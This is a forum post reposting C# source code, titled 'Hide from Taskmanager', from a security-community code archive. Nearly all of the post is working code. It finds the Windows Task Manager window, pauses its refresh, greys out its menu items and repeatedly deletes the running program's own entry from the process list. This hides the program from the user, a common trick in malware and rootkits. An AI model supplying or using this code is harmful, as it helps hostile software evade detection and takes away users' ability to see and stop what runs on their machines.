Nytro Posted January 13, 2011 Report Posted January 13, 2011 /////////////////////////////////////////////////////////////////// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// [2008-07-15] Hide from Taskmanager// r00tsecurity -> Source Code Center :: Hide from Taskmanager// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// GENERATED ON: 2011-01-13 | 17:31:42/////////////////////////////////////////////////////////////////CODE INFOThis code is based off a source in vb6 I saw once. I ported it to C# and it works perfectly (after a few adjustements SOURCE CODE:::=== WINAPI.CS ===:::using System;using System.Collections.Generic;using System.Text;using System.Runtime.InteropServices;namespace WinApi{ class User32 { public const Int32 WM_COMMAND = 273; public const Int32 MF_ENABLED = 0; public const Int32 MF_GRAYED = 1; public const Int32 LVM_FIRST = 4096; public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8); public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48); [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 FindWindow(string lpClassName, string lpWindowName); [DllImport("user32", EntryPoint = "FindWindowExA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2); [DllImport("user32", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable); [DllImport("user32", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenu(Int32 hwnd); [DllImport("user32", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos); [DllImport("user32", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags); [DllImport("user32", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos); [DllImport("user32", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable); /*[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, StringBuilder lParam);*/ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam); //Also can add 'ref' or 'out' ahead 'String lParam' // -- Do not use 'out String', use '[Out] StringBuilder' instead and initialize the string builder // with proper length first. Dunno why but that is the only thing that worked for me. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); [DllImport("user32", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 GetDesktopWindow(); [DllImport("user32", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] public static extern Int32 LockWindowUpdate(Int32 hwndLock); }}:::=== FORM1.CS ===:::using WinApi;System.Timers.Timer taskmanTimer = new System.Timers.Timer(700);#region Hide from taskmanager //Begin remove proccess from taskman timer private void removeFromTaskManager() { taskmanTimer.Elapsed += new System.Timers.ElapsedEventHandler(taskmanTimer_Elapsed); taskmanTimer.Enabled = true; } //Timer to remove procces from taskmanager void taskmanTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager"); /////Define Handles////// Int32 lhWndDialog = 0; Int32 lhWndEndTaskButton = 0; Int32 lhWndEndProcessButton = 0; Int32 lhWndProcessList = 0; Int32 lhWndProcessHeader = 0; Int32 lhWndTaskList = 0; Int32 lhWndTaskHeader = 0; Int32 ProcessItemCount = 0; Int32 ProcessItemIndex = 0; Int32 TaskItemCount = 0; Int32 TaskItemIndex = 0; /////Get Menues///// //Get main menu Int32 hMenu = User32.GetMenu(lhWndParent); //Get View menu Int32 hViewMenu = User32.GetSubMenu(hMenu,2); //Get Update Speed Menu Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1); //Get Refresh Now Button Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0); //Get High Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0); //Get Normal Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1); //Get Low Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2); //Get Paused Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3); for (int i = 1; i < 7; i++) { lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null); if(lhWndTaskList == 0) lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks"); if(lhWndTaskHeader == 0) lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null); if(lhWndEndTaskButton == 0) lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task"); if(lhWndProcessList == 0) lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes"); if(lhWndProcessHeader == 0) lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null); if(lhWndEndProcessButton == 0) lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process"); } //Pause the update speed User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero); //User32.SendMessage((IntPtr)lhWndParent,(uint)User32.WM_COMMAND,(IntPtr)hPausedRate, /////Disable Menu Items////// User32.EnableMenuItem(hMenu,hRefreshNow,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hLowRate,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hNormalRate,User32.MF_GRAYED); User32.EnableMenuItem(hMenu,hHighRate,User32.MF_GRAYED); User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED); User32.EnableWindow(lhWndProcessHeader, 0); User32.EnableWindow(lhWndTaskHeader, 0); Process[] Processes; Int32 z; string item; ListBox list = new ListBox(); list.Sorted = true; Processes = Process.GetProcesses(); foreach (Process p in Processes) { if (p.ProcessName.ToString() == "Idle") list.Items.Add("System Idle Process"); else list.Items.Add(p.ProcessName.ToString()); } ProcessItemCount = Processes.Length; ProcessItemCount--; string HideMe = Process.GetCurrentProcess().ProcessName; for (int x = 0; x != ProcessItemCount; x++) { item = list.Items[x].ToString(); if (item == HideMe) proccessIndex = x; } User32.LockWindowUpdate(lhWndProcessList); //refresh User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hRefreshNow, IntPtr.Zero); //sort items User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_SORTITEMS, IntPtr.Zero,null); //Delete ourselves from the list >=D User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)proccessIndex, IntPtr.Zero); User32.LockWindowUpdate(0); if (lhWndParent == 0) //taskmanager is closed refrsh every 800 miliseconds taskmanTimer.Interval = 800; else //taskmanager is open and paused. we don't have to refresh as fast taskmanTimer.Interval = 2500; } #endregionremoveFromTaskManager();// r00tsecurity -> Source Code Center :: Hide from Taskmanager Quote